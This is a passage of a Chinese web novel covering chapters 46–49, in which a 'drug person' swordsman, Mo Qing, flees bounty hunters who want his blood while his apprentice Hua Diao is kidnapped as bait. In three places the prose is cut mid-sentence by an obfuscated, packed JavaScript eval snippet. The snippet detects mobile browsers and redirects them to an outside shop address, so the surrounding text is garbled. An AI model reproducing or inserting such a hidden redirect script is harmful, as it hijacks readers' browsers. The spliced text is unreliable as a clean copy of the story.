该来的都会来的,现下已经暴露,望南山自然是不能多呆的,慕卿捞了花雕,逃难似的骑着追风走了。 柳源戏班,花伶本来在庭院里练戏,却见几个人慌慌张张朝这边跑来,便迅速收拾了东西,一本正经地邀来人进屋。 他们几个人是花伶特地找来看住花雕的,花雕的一举一动都在花伶的监控中。 几人将花雕抛在一边,把与慕卿对峙的经历详细陈来。 “男的?有意思了。”花伶记得慕卿身上的香,那味道很浓,却又莫名好闻,之前花伶以为他是女子,还以为这是异域的哪种香,却不曾知全想错了方向,香味缭绕的女子她见过不少,这么香的男人还是头回见。 “去查,看看此人什么身份。” 霜满天醉生梦死,对她又是百般迁就,只要是耿安国内,她有什么查不到的? 之前她就是看不得花雕过得比她好!可现在她的妹妹身边出来了个这么稀奇的人儿,她能不好奇吗? 没两天就查出来了,听闻空山谷有种秘术,用药蛊养人,可以将人制为药人。空山谷啊,这可是多少人心驰神往梦寐以求的地方啊,半把草药都价值不菲,这个慕卿,作为空山谷的药人,那花的钱还不得拿箩筐量。 花伶也不管她的那个废柴妹妹了,一心想把这个慕卿搞到手,这可是个宝贝啊! 据说药人可以让人容颜永驻,还能活死人、医白骨。 功效虽短,可字字珠玑,都具有致命的吸引力。 试问哪个女子不想容颜永驻,青春不老?谁又不想让自己的至亲至爱之人不再饱受病痛的折磨? 花伶承认,她听着心动了。 可她也是异常冷静,传闻说不定是捕风捉影,但也恰恰说明,慕卿身上的确有些过人之处,要不怎么会受空山谷如此青睐。 九月初六,赵泽毅站在家门口,等。他记得曾经有个小女孩,也是这样在这里等着,抱着只雪白的兔儿,整个人也像只安静乖巧的兔子,嘴里念念有词:“兔兔你说他什么时候回来呀?小花在想他。” 那时赵泽毅还笑她说这样等人多傻,而今,自己也如年幼的她一般,站成了门口的一尊雕像。 只是她等的人,回来了,而他等的她,会回来吗? 身后,绫罗绸缎挂成了火红的一片,似霞光万顷,亮堂得有些灼眼,神采奕奕的赵轲老将军拄着拐杖,尾音拉得老长:“儿啊,别等了,她心不属你”。 46. 双生7 赵泽毅扒下父亲搭在自己肩上的手,并不肯妥协,目光依旧凝望着远方:“再等等吧,说不定她明天就回来啦。” 赵轲见他如此倔强,没再说什么,摇摇头,进屋了。请帖都发了,他甚至都想好了,如果花雕不回来,他有个老友的闺女也到了待嫁的年纪,那丫头的青梅竹马去年因病去世,都是伤心人,到时候就把两人凑一块吧。 九月初七,就在赵泽毅蹲成石像的不知道多少天后,一辆马车缓缓驶入他的视野,驾车的正是手拿马鞭,男扮女装的慕卿。 赵泽毅看着心里惊喜,是花雕!她终于回来了!连忙起身,挥手喊道:“花儿妹妹!慕……” 随即又尬住,过去他喊慕卿姐姐,可现在知道了他是男儿身,虽是女装扮相,这声姐姐愣是下不去口。 勒了马车,慕卿看出了他的窘迫,安慰他:“无碍。”反正没两天就要走,称呼什么的也不必太在意,这次他就是想把花雕送回来,自行前去处理那篓子烂事。 花雕依旧给了他一个大大的抱抱:“泽毅哥哥我们回来了,但我们好像被人追杀了。” 追杀?赵泽毅面露疑色,是因为药蛊吗?随即看向慕卿,只见慕卿抿着薄唇,轻微地点了个头,算是对他心中疑虑的回应。 父亲虽已经归田卸甲,但还有些好友在朝中为政,赵泽毅想着要不要用父亲的关系给慕卿搭把手,慕卿却像看透了他心中所想一样,抢先答道:“我自己的事,自己来处理就好了。” 刚迈进门,慕卿就被眼前的装潢闪亮了眼,这满屋子的红,也太隆重了吧,看来赵家很在意这件事啊,还好自己备的银两也不少,作为娘家人他的嫁妆不算寒碜。 布置屋子的主意都是赵泽毅拿定的,怕别人会以次充好,所有物件也是他严格挑选的,父亲赵轲只是偶尔在旁边提提建议,父子二人这样配合了三个月,才把这家布置好。 听到花雕“哇”地惊呼了一声,赵泽毅心里像吃了蜜,他要的就是这种震惊的效果,花雕的反应就说明效果达到了,但还是画蛇添足地问了句:“怎么样,特地为你布置的,喜欢吗?” “嗯。”花雕重重地点头,她不明白成亲的意义究竟是什么,但想着如此大费周章,赵泽毅肯定是花了番心思的,心中顿生感激,一把朝他身上扑去:“谢谢泽毅哥哥。” 慕卿曾教她,受了别人的恩惠就要说谢谢,可这声“谢谢”在赵泽毅听来,难免有些生疏扎耳,他一时黑了脸。 慕卿察觉到了赵泽毅的小情绪,揉了揉花雕的头,嘱咐道:“好了,安心成亲吧,我就在这里看着你,不会走的。” 花雕之前在路上追着他问了好久,诸如“那群人会不会追过去赵府”、“要是不小心被抓住了怎么办”之类的句子,慕卿压根没放在心上,满脑子想的都是在九月初九之前送她回到赵泽毅身边。等把花雕安顿好了,那群人要是还追来了,他有的是办法对付他们。 赵家家底深厚,又有朝中背景,定能保花雕无虞。 等花雕过了门,就是赵家的人,慕卿也没什么放心不下的,不幸死在他们手中,或者能侥幸回到黄山岛,都是不错的选择。 慕卿敷衍了她一路,好说歹说把她带来了赵府,就等两天后拜堂成亲完万事大吉,想看她穿嫁衣时的妆容,想看她接受人们祝福成为新娘子的样子……慕卿翻来覆去一晚上,思来想去,觉得自己太贪心了,想见证她的很多时刻,成亲时,初为人母时,儿女成群时……事实却是,自己根本没有时间了啊。 走吧走吧,别看了,看多了更舍不得,慕卿索性天一亮,就跟赵家父子说明事情原委,作揖告辞了。 “师父,你看我,穿这身嫁衣可好看?”一大早,花雕就被丫鬟们拉去试嫁衣,刚换好,花雕就想给慕卿看看,拍着他房间的门,直接说明来意,门内却无人应她。 慕卿又发病了吗?不是十五啊。花雕索性不等他应答,直接推门进屋,门内却空无一人,被褥整齐地叠放着,杯具里的茶早就凉透了。 这个人!又跑了!说好的要看她成亲,说好的以后留在赵府,留在她身边,又失信了,花雕心里埋怨,这个人,真的是越来越不靠谱了。 见她慌乱从屋子里跑出来,赵泽毅叫住她:“花儿!”花雕闻言扭头,明月珰打在巴掌大的小脸上,却只看见了赵泽毅,心中难免一阵失落,不是慕卿啊,随即抓住赵泽毅的手,追问道:“慕卿他人呢?” “他走了,有件事他一直没告诉你,他说,药人活不过半个甲子,他今年二十八了,只剩两年可以活。”赵泽毅见她如此关心慕卿,慕卿又不见了踪影,索性全盘托出。 花雕听了心里万分气愤,什么赵泽毅,都是幌子,他是怕自己死后她孤苦无所依靠,所以才用成亲的理由绑住她,让她离不开赵府,好彻底摆脱慕卿。要不是慕卿跑得比兔子还快,赵泽毅告诉了她一切,估计她现在还被蒙在鼓里。 花雕望着赵泽毅,眼神里充满了坚定,毫不犹豫地出口道:“我想出门找他,等找到了再回来给你一个交代。” 既然花雕都这么说了,赵泽毅索性做个顺水人情:“嗯,好,我等你,他往东北方向走了。” 东北方吗?是西梁还是临初?花雕跟赵泽毅道过别,去马厩牵了马,就算慕卿跑到天涯海角,她也要找到他! 赵泽毅看着瘦弱的花雕拉着高大的马匹远去,心想明天就是婚期,真的留不住吗?随即又转念安慰自己,留不住就留不住呗,只要她过得开心就好。 请帖早就发放出去了,一时半会无法全部撤回。至于明日的宾客,赵泽毅也想好了,全当是父亲和老友们叙叙旧。 - 柳源戏班这边,酝酿已久的花伶开始打起了许柔竺的主意。 白无垢死后,芈氏一族狼子野心暴露,芈桑影还算义气,没有把日辄国供出来,故而许柔竺一直呆在柳源戏班里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598188|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没什么威胁,各方面又有花伶照应着,日子过得还比较快活。 许柔竺也算是没心没肺,她大哥病得要死了,其他几个哥哥抢皇位斗得正凶,她却像个没事人似的,来了耿安赖着不想走,也不管外面的风风雨雨,就呆在柳源戏班里,每天看看花伶就觉得很满足。 要是霜满天知道了自己杀弟仇人的女儿还在自己国土上蹦跶得欢,还不得提着刀过来把她砍成两半! 这天,两人吃过了饭,花伶假意关怀,问许柔竺:“你大哥怎么样了?病好些了吗?” 花伶其实早就知道了,许柔竺的大哥得的是不治之症,这次套许柔竺的话,就是想借着许未缪这个病,看看有关慕卿的传言是否真的属实。 许柔竺摇头,两天前才收到家里的来信,信里说大哥依旧是那个鬼样子,要死不活的,她也没办法啊,本来就是个不擅长操心着急的人。 “我有一种方法,不知道你愿不愿意试试?”花伶凑近了些,眨着眼睛,神秘地朝她说道。 许柔竺听后眼睛一亮:“什么办法?”作为小妹,能为救治大哥出一份力,只要不是太难,她当然也是愿意去做的。 只见花伶凑得更近了,在她耳边絮絮说了一堆话。 许柔竺听后,面露难色:“可是血……” 她觉得花伶说的这个方法很奇怪,要用活生生的人血做药引,服用下去。恶不恶心先暂且不说,从活人身上取血,人家乐意吗? “没关系啦,就一点点。”花伶补充,用一副不痛不痒的姿态说道。反正流的也不是她的血,她当然不心疼,这许柔竺要是利用好,不仅可以拉拢日辄国,还可以打击报复花雕,一石二鸟,多好。 只是这个慕卿,到时候成为众矢之的,怕是会没命的吧,花伶眯着眼睛,像一只老谋深算的狐狸一样打量着许柔竺。她早就摸透了,面前这人,是朵纯洁的小白花,又有点圣母病,见不得别人苦。 只是许柔竺一直没有搞明白,柳源戏班的花二爷其实是个女人,还仰慕着人家,巴不得有一天能跟花伶结成连理,双宿双飞。 只因花伶是女子这件事,柳源戏班的大家都知道,见许柔竺每天跟花伶走得那么近,所有人便默认许柔竺也知道此事,故根本没有人跟她说过这茬。 “好吧,那我派人去把他请来,问问他的想法。”许柔竺想的是,既然是有求于人家,那还不得客客气气的,跟对方说两句好话,人家帮不帮是另外一回事,主要是自己作为被动方,态度要好哇。 请?花伶心里冷哼一声,她可不要用请这么温柔的手段,她要借日辄国这把火,把这件事闹得越大越好。到时候什么耿安、日辄、玉霄都掺和进来才好,反正她也是个不嫌事多的看戏人。 上次在望南山对峙一番后,她还是派了人一直跟着慕卿,前段时间收到消息说慕卿和花雕两人去了全县,现在也不知道两人到哪里了,不管怎么样,反正没跟丢。 47. 双生8 “吁……”慕卿拉了马,止住前进的步伐。 尔后转身,指着身后的人问道:“喂!后面的那个家伙,你干嘛一直跟着我啊?” 举止言语,都像是一个刁蛮的公主,全然不顾自己身份已经暴露。 后面的人紧追不舍,已经跟了一路,慕卿围着望南山绕了三圈,可后面的人不疾不徐地跟着,始终跟他保持着一样的步调,也不有所行动,慕卿一直跟他耗着,终于没了耐心。 为什么会来到这里?慕卿也不知道,可能第一次见花雕是在这里,所以对望南山而言会多几分亲切吧。初九已过,那个丫头,大概已经成为赵夫人了吧,下次万一要是遇见了她,是不是该换个称呼呢,慕卿琢磨着。 那人见既然已经暴露,索性接过话茬:“我们家主人有请,麻烦公子跟我走一趟吧。” 慕卿心里无语,请人?是这么请的吗?至于跟成一块狗皮膏药吗? 他依旧是女装,来人却喊他公子,说明他是知道他真实身份的,慕卿更证实了心中的想法,果然是为了药蛊啊。 去会会也好?至少知道是谁这么针对他吧。 慕卿下意识地紧握着长剑,对于这种鸿门宴,他心里还是有些害怕的,毕竟对对方一无所知。 他骑着追风,紧跟着那人走了很久,却,来到了…… 临初? 慕卿望着巍峨城门上的石匾,觉得有些不可思议,他就来过临初两次,就被盯上了?果然当初不该来这里啊,人山人海的,居然被人认出来了。 慕卿大概想不到,他的身份被揭露,其实是因为半月前和花伶雇的人过的那几招,而跟几月前带着花雕来临初没有任何关系。 更让慕卿想不到的是,那个人直接带着他去了柳源戏班。 是花伶啊。 心里面的那种紧张感顿时减没了,慕卿甚至有些惊喜,哟,都是熟人啊。 熟人,慕卿心中是这么定义花伶的,毕竟两人上次打过照面了,只不过那时花伶并不认花雕,不然慕卿真的想带他的傻丫头来看看,告诉她,这世上还有她的亲人存在。 面前的“男子”跟花雕容颜相似,一张巴掌大小鹅蛋脸,鼻梁高挺,樱桃小嘴,都挺好看的,只不过她的眼里,多了几分媚气。如果按赵泽毅说的,花雕是兔子,那花伶更像是狐狸,能勾人心魄、祸国殃民的那种。 慕卿不知道花伶经历了什么,只是觉得,虽身为姐妹,但花伶跟花雕性子完全不同,小小年纪,身上却不知道哪里来的狠厉气息。 这是唱戏唱久了,看穿了戏里的人情世故?故而显得薄情了,果然啊,戏子无情,慕卿感慨。可要是他早点来,那时候白无垢还没死,说不定就是姐妹相认,两人团圆,另一种结局了。 花伶和慕卿连照面都懒得打,一言不发地对立着。两个人互相打量着对方,各怀揣心思,慕卿想的是,明明同为姐妹,是同一个娘教出来的,为什么花雕单纯到智商堪忧,花伶则心机深沉,六亲不认;花伶则想着要怎么下慕卿的手,看着他腰间悬着的佩剑,又想起前些日子被打得落花流水的探子,心想这人是有两下子的吧,不然也不会这么多年平安无事。 不过才见了两面,两人就像是彻底看透了彼此一样,将对方定义得很完整。 许柔竺的出现打破了这种沉寂的对峙,她看到慕卿,像是看到了珍宝,看到了日辄国的未来,开心得三步两步跳到他面前。 “你是药人吗?”许柔竺眨巴着眼睛问道,眼神澄澈,像个不谙世事的少女。 “是……”慕卿也懒得计较是她们俩谁派的人跟踪自己,总之为了同一个目的,就是一丘之貉,任她许柔竺再怎么一副楚楚可怜良善无辜的模样,慕卿也对她没什么好脸色。 许柔竺却并没有会到他语气里的冷淡,继续追问道:“你的血真的可以治病吗?” 慕卿坦言:“不知道……” 其实他对于自己身上的药蛊也是很好奇的,活了二十八岁,除了有一次酿酒偷偷在酒里放了几滴血,然后让花雕喝掉以外,再没干过其他出格的事。 那酒带着微微的粉红色,花雕倒没发现什么端倪,端着碗一饮而尽。 至于味道,那傻徒弟又不挑食,喝酒就像是猪八戒吃人参果般,愣是没说出个一二三四来。 慕卿拿花雕试药,她不但没有怨言,还相当配合,完了一个劲跟他吐槽酒很辣,多傻的姑娘啊。 想到花雕,慕卿心头一软,又勾起唇角。 那之后,花雕也没发现什么异常,没拉肚子,也没有像他一样容颜停滞,更没有那种透心蚀骨的反噬。 到底药蛊有没有用,或许下次可以多用些拿她试试?慕卿顾自想着,完全忘了当初为什么一个劲儿把她往赵府送,并且花雕已经不在他身边。 慕卿思绪飘得很远,完全置眼前水蓝色软烟罗裙的许柔竺于不顾。 “那个……有个忙想请你帮一下……”见慕卿神色微微缓和,面露笑意,许柔竺以为是对她,立马开了口。 “不帮。”既然打了药人的主意,慕卿不能助纣为虐,万一药蛊真的能治病,那空山谷发现了商机,不得丧心病狂,又满世界地找体质合适的男童,卯着心思祸害人。 这不是人情问题,这是原则问题。 许柔竺吃了瘪,不知道怎么接下去:“额……” 慕卿倒也拒绝得干脆,见也见过了,两个臭丫头片子,能掀起什么风浪来?于是就想着离去:“姑娘,要是没什么事,我先告辞了。” 慕卿本就不是圣人,没有必要搭理许柔竺的请求,像个菩萨一样心怀慈悲,普渡众生,见一个救一个。 “你……”许柔竺还没有说完话,慕卿已经大步流星地走出了柳源戏班。 “你看吧,我早就告诉过你,这种人,你低声下气是请不动的,要使些手段……”花伶幽幽地出现在她身后,也不嫌乱,继续煽风点火。 “那要刀剑相向?”许柔竺反问,好像这样也不太好唉,毕竟是需要他来救命。虽然这件事于慕卿而言是举手之劳,但是他不愿意的话,还真拿他没有办法。 见许柔竺心思有所动摇,花伶厉声道:“还想不想救你大哥了?” 这一句话,更坚定了许柔竺要拿下慕卿的想法,遇到了挫折怎么可以轻而易举放弃?许夜祈教过她,要愈战愈勇,迎难而上……哪怕是绑,也要把这个叫慕卿的家伙绑回日辄国。 慕卿上马,紧接着往后瞧,确认身后没尾巴,也不着急着马上去黄山岛,想着花雕十六岁生辰已过,未来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598189|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的两年没有办法陪她一起过生辰,可望南山才埋了十六坛子酒,要不再去给她埋两坛子酒吧?每一年都是给她的祝福,等慕卿驾鹤西去的时候,再写信告诉她埋酒的事情,也算是慕卿给她的临别礼物。 反正也没几年可以活了,忆及此,慕卿更加坚定了自己心中所想,想做什么就放心大胆地做呗,再去望南山酿最后一批酒,给她留最好的两坛子。 便转向,策马去往望南山。 - 花雕牵了马出门,想了很久,慕卿会去哪里,西梁还是临初? 又细想,慕卿不喜欢去人多的地方,她更加坚定了自己的想法,他一定是去了西梁。可是西梁那么大,常去的地方除了望南山,还有醴泉山,花雕犯了难,这些都是酿酒的好地方,有可能根本不在西梁,慕卿或抑是去了黄山岛也说不定…… 最后,花雕索性不再犹豫了,心想,赌一把吧,就望南山了。他们在那里相遇,在那里度过了很多个大好春日,望南山应该是留下最多美好回忆的地方,最适合缅怀过往——她相信慕卿是个念旧的人,至少分别后,会去他们常去的地方看看。 几经周折,终于到了望南山脚下,花雕找了家落脚的地方,给马匹喂草,心中又是无限怀念,不是追风啊,连脚程都差了不少。 “花儿姑娘又回来了啊……” 客栈的掌柜是一个中年男人,一路看着花雕长大的那种,他记得,花雕和另外一个叫“慕卿”的姑娘每年春天都会来望南山一阵子。 可十几年过去了,花雕已经长成了出落的大姑娘,另一个姑娘容貌却一点都没有变,不禁感慨,保养得是真好啊。 “嗯……伯伯,你看到我娘了吗?” “在呢在呢,她上午回村子了,又找隔壁的婶婶买了谷子。”掌柜记得这位慕姑娘是个酿酒的师傅,她酿的酒,那滋味,好像加了魔药一般,愣是跟寻常酒肆比起来高出一大截。 花雕一听,慕卿果然在,马都顾不上了,一路跑回家里。 门扉敞着,慕卿正在蒸谷子,西梁的秋燥热得让人心烦,站在灶台边,慕卿全程都在淌汗,果然啊,相比之下,还是全县的这个季节凉快。 花雕一把扑过去抱住他的腰,生生地挤出两行泪来,语气里满是埋怨:“你又把我丢下了。” 慕卿本来就觉得热,又感觉身后有个人贴过来,紧接着就是一句抱怨,知道是花雕回来了,惊问:“你不是?” 你不是该跟赵泽毅成亲了吗? 没问完全,慕卿心知道,这丫头,肯定是成亲之前跑了。 唉,怪自己,走得太早了,要是晚点走,生米煮成熟饭,花雕不想留也得留下来。 又暗暗恨赵泽毅不成器,留个人都留不住。 花雕则一把鼻涕一把泪地蹭在他身上,慕卿有些嫌弃:“我说丫头,你把我的衣服弄脏了……” “我不管,谁让你把我弄哭了的。” 慕卿无奈,这小冤家,他是甩不掉了。 “好了啊……”慕卿站成了一根木桩子,任由花雕抱着,锅里还蒸着谷子,汗直往下淌,本来站在灶台边久了就热,难道她不觉得吗? “再抱一下嘛……”花雕把脑袋枕在他肩上,不依不饶,像一只黏人的小猫咪。 48. 双生9 “我热……你放开我。”再怎么不舍得,这不也是见着了嘛,自己还有两年能活,又不是马上要死了,用得着一副生离死别的模样吗?慕卿被她箍得死死的,难受得要紧,赶忙央求道。 被抱着的这种感觉很奇怪,不再像小时候那样,花雕整个人都团在他怀里,小小的软软的一团,现在这么大一只,慕卿说不上哪里不对劲。 反正不管,花儿毕竟也是大姑娘了,他一个大男人,以后还是要注意点的。 花雕依慕卿所言,放开他,又去瞧锅里已经蒸得裂开的谷粒:“师父你又在酿酒啊?” 这个“又”字很奇怪,慕卿白了花雕一眼,眼里却又有宠溺,他本来就是个酿酒师好不好!!这是他赖以为生的职业。 看着慕卿熟练地操作着,花雕想,这是第几道工序来着?好像是要先泡,然后再蒸……蒸几次来着?然后好像是打堆?不对不对,好像是铺平,慕卿好像说过,打堆温度会太高,发酵不好。 慕卿说过很多次了,花雕还是没记住。 这么多年了,花雕跟在慕卿后边,一点长进都没有,四六比和五五分的谷物酿出来的酒有什么区别,她还是不懂。 唯一有长进的是,能通过品尝,区分出酒的好坏——毕竟喝得多了。慕卿前脚酿,花雕后脚偷喝。 用慕卿的话说,他这个徒弟,除了在吃的方面颇有天赋,其他的一概不行,也许,花雕这辈子是个当厨神的命也说不定呢。 见花雕摸着锅里的谷子,也不管烫,拿出来就上口,慕卿阻拦道:“唉,烫!” 慕卿还是第一次,看到有人把壳都没脱的粮食吃得这般津津有味,无奈摇头,又见花雕把手往锅里探,索性拿了个碗出来,给她盛了碗。 花雕把他酿酒的高粱和麦子塞得满嘴,吐槽道:“师父,你这次蒸好的粮没有以前好吃了。” 花雕喜欢这种刚蒸熟谷物的清甜,是那种很天然不做作的味道。 “许久不练,手艺生疏了……”慕卿也知道,这里是望南山,现在是秋天,要好水没水,要好粮没粮,但迫于形势,就这样凑合吧。 而且之前每天都在为花雕操心着嫁妆的事,整整三个月,没有酿半坛子酒,老祖宗说得对,拳不离手,曲不离口,没想到酿酒也是一个靠手感的事情。 嫁妆,慕卿转念一想,噗,几万两已经塞给赵泽毅了,花雕人却跑到这里来,他亏大发了…… 半个月过去,这批酒品质意外地差,慕卿还是选了其中相对更好的两坛,三锄头两铁锹地跟之前的酒埋在了一起。 罢了,也累了,坐在桃树下,看着在一边树丛里躺得四仰八叉的花雕,心想,最后一次了,不妨告诉她吧,就低声呼道:“丫头……” “嗯?”听到慕卿在喊她,花雕乐得像一只欢快的小鸟,马上绕到了他身边,模仿着他的动作,蹲坐在桃花树下。 “这酒,我是埋给你的,我生命中也没有别人。本来想着给你当嫁妆,走得太慌,忘了告诉你。”慕卿拍了拍身上的尘土,起身说道,他才不要跟花雕一起蹲着,两个人蹲在一起跟傻子似的。 酒是给花雕的没错,但什么嫁妆,纯是谎言。慕卿暗地里嘲讽自己近来撒谎成性,只是他不知道要怎么跟花雕开口,说自己将与世长辞。 加上这两坛,一共是十八坛酒,除了这次的,其余的都是每年头批里他酿得最好的那一坛。 可这第十七和十八坛子酒,作为饯别礼,居然是最差的两坛,慕卿想着,他这是晚节不保啊。 居然……是给自己的,从小花雕就吃醋,长大了她虽然没那么嫉妒了,还是觉得心上跟有一道坎似的,原来这么久,她都是跟自己过意不去呀。花雕听了,心里感动得稀里哗啦的,又准备上去就是一个熊抱。 哪知被慕卿接下来的话煞了风景:“你能不能……别抱我……你有了婚约,我一个大男人,不太好。” “我不!”花雕不依他,张开双臂就环了上去。 慕卿身形偏瘦,属于那种全身上下肥瘦均匀的类型,腰板很硬,抱着的感觉就像是一根木桩子,可是花雕就是很喜欢抱着他,那种温暖而又可以依靠的感觉,真的超级棒! 赵泽毅对她好是好,可那种好跟慕卿的不同,是相敬如宾的礼让,慕卿却是一个如父兄般的存在——她抱自己的哥哥有何不妥? 花雕则不同,她属于那种凹凸有致的身材,身上的两团肉贴在慕卿身上,惹得慕卿羞红了脸。 有一瞬花雕就在想,如果时间就这么定格下来,她抱着慕卿,直到地老天荒,似乎也不错。 可仅仅是想想而已,没过两天,他们身边聚集了越来越多的觊觎者。 半个月没见着,慕卿原本以为自己话说得那般决绝,花伶和许柔竺她们意识到彻底得不到他,会就此收手,事实并不如此。 半个月时间,花伶找了霜满天宫里的画手,终于得到了一副像模像样的人物画。 尔后,慕卿的画像贴了临初满城,赏金五千两,要求很简单,只要把他活着带到日辄国皇宫就好。 这有点类似于走镖,不同的是,这个“货镖”还需要自己去捕获,而且作为一个活物,发布者要求慕卿要活着去日辄,这中间能出多少意外,就不得而知了。 想着他刚到临初,也走不了太远,花伶也没把慕卿的画像挂出临初,却没想到慕卿已经去了西梁。 哪知一传十,十传百,不止西梁和临初,日辄耿安全国都在找这个慕卿。 五千两银子,于谁不是诱惑?有了这些钱,全家人这辈子都可以衣食无忧了。 于是乎,所有人都知道了,这画中的女子,是个药人,临初全城通缉也就罢了,而且日辄国远在百里,也露出一副志在必得的模样。关键是空山谷居然此时也跳出来,觍着脸说要日辄国分一杯羹,理由也很充足:我们空山谷养出来的人,你要动,哪有不经过我们手的道理? 踪迹泄露,望南山开始不宁静了。 每天都有人,以各种各样凶神恶煞的姿态出现在他们身旁,贪婪的,妒忌的……那些人,可能是作恶多端的汪洋大盗,也可能是烧杀抢掠的奸邪匪贼…… 比慕卿和花雕更早抱怨的是望南山下的居民们,有人找到慕卿,一脸为难道:“慕姑娘,近来这里来了不少人,乡亲们这每天活得提心吊胆的。我们也不曾想过拿你去换银子,只是乡亲们都想图个安稳日子。”他们可不奢求什么长生不老,安分踏实地过日子就是全部的想法,只是这山里的两人,给他们的生活带来了不小的影响。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598190|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 慕卿听后,笑得云淡风轻,如今这般境地,走到哪里都是为祸一方吧,又转头问花雕:“你看,他们都说很危险,这样的话,你还要跟着我吗?” 花雕重重地点头,没有丝毫迟疑,为什么会信任慕卿呢? 是因为那个乌漆麻黑的夜,慕卿把她从破巷子里捡出来,给了她一碗吃食?还是因为慕卿把她拉扯到这么大?花雕也不知道,是哪个瞬间触动了她,让她很想跟着慕卿,两个人,一辈子,就这么走下去,无论是西梁,还是全县,去哪里都好,只要那里有慕卿在。 就好像很多年前,慕卿问她,饿吗?她重重地点头那般的坚定。 慕卿一人,尚可自保,带上花雕,无疑是多了个累赘,毕竟花雕又不好好练功,又不好好学剑,吓唬对方的花架子都摆不起来。慕卿把花雕护在身后,解决掉手边一个拿着大砍刀的人,调侃道:“丫头,再给你一次机会,会好好学剑吗?” 花雕当然是怕的,这不是儿戏,都是真刀真枪的家伙,稍有不慎,可能就挂了彩,慕卿倒好,有血蛊替他疗伤,没几分钟伤口就没了影,可她擦破了皮,都会疼好久好久。 莫名有点羡慕慕卿是怎么回事…… 慕卿当然怕花雕受伤,那丫头不如他那般恢复得快,所以他的剑很快,几乎是拼了命般护住花雕,不让她受到一丝一厘的伤害——那伤落在自己身上倒是不要紧,反正会很快恢复的。 “会啊。”花雕平生第一次知道,原来身怀武力真的可以为所欲为,早知道这样,她小时候肯定会跟着慕卿好好学武。 听她这么回答,慕卿笑得欣慰,心想,那行,为师的绝世好剑谱都给你压箱底了,看在你彻底改过自新的情况下,等这次风波过了,再拿出来分享给你吧。 眼见着来的人越来越多,慕卿有些应付不过来这种车轮战,一眼扫到了花雕惊恐的眼神,厉声道:“你现在去找赵泽毅还来得及……” “我不去!”花雕也是不依不饶,你又想丢下我!把我抛给别人。 一路跟随着他们的人一波又一波,都是无功而返,抓不到慕卿不说,还把自己折进去了,缺胳膊折腿的还不少,可以说是偷鸡不成反蚀把米。 这些受伤的人多数都不是慕卿揍的。多方人马狭路相逢,可就一个慕卿,哪里够那么多人分,于是还没找到慕卿,他们自己已经乱成了一锅粥,为了各方利益斗得七上八下。 花伶听着探子来报,这群江湖中人又是无功而返,气得骂了句:“真是帮废物。” 这些人也真的蠢,那个慕卿虽然厉害,但是花雕一无是处,攻其软肋,不就好了嘛。哪怕慕卿看她看得再严,总会有松懈的时候吧。 诸多江湖中人,花伶本来想着借他们的手,抓住慕卿,如今看来,这群人怕是指望不上了,还得自己亲自动手。 秋越来越深,天气开始慢慢变冷,追兵在后,慕卿也不知道该去哪里,一路奔波得累了,想找个客栈落落脚。 却不曾想,出个恭的功夫,花雕就不见了。 满屋子找不到人影,慕卿心想,糟了,真是防不胜防,麻溜地提着剑就追去了日辄国——听说他们要“药人”只是为了医宫中那位命悬一线的太子,为了引他上钩,花雕肯定被放在日辄国皇宫里。 49. 双生10 花雕醒来的时候,正被两个狱卒看守着,迷迷蒙蒙之中,她也没看清周边环境,脱口就是一句:“慕卿?” 这是一个不知道在哪的牢房,光线很暗,只有顶上透进来的几束光,斑驳在她脸上,等看清楚了自己的处境时,花雕美眸攸地瞳孔放大,她被抓起来了,想都不用想,她成为了别人抓慕卿的筹码。 花雕拍着木门扯着嗓子嚎道:“慕卿呢?你们为什么要抓他?” 牢房门外的人哂笑几声,声音里满是稀罕:“他呢,是空山谷的药人,药人是什么宝贝,你的师父告诉你了吗?很值钱的哟~” 花雕当然知道什么是药人,慕卿前不久才跟她说过,不过在她看来,那是个悲伤的故事,怎么在旁人看来,就多了很多种理所当然的味道?饮同伴的血,食其骨肉,那么人与豺狼虎豹有何区别? “不过呢,慕卿这个老狐狸狡猾,我们抓不住他,嘿嘿嘿,不过有你就不一样了,慕卿那么宝贝你,肯定会来救你的。”另一个人也是哂笑着,露出一口黄牙。 花雕显得异常地冷静,她大概地理了理思路,就是说,这群人想要得到慕卿,但他们不敌慕卿,所以才抓了她,拿她当诱饵。 呵,这也是高看了她花雕,她只是一个慕卿身边不学无术的小徒弟,跟慕卿千金贵体相比,能值得了几个钱。 慕卿那般惜命,离开空山谷二十多年东躲西藏,如鼠般逃窜,连自己的性别都可以抛弃,还有什么是做不出来的? 不要来,不要来,花雕心里默念着。她才不要以命换命,她要慕卿好好活着,至于她自己,就当慕卿从没有在那个乍暖还寒的春天与她相遇,没有给过她一星半点活下去的支持。 可是,那人来了。 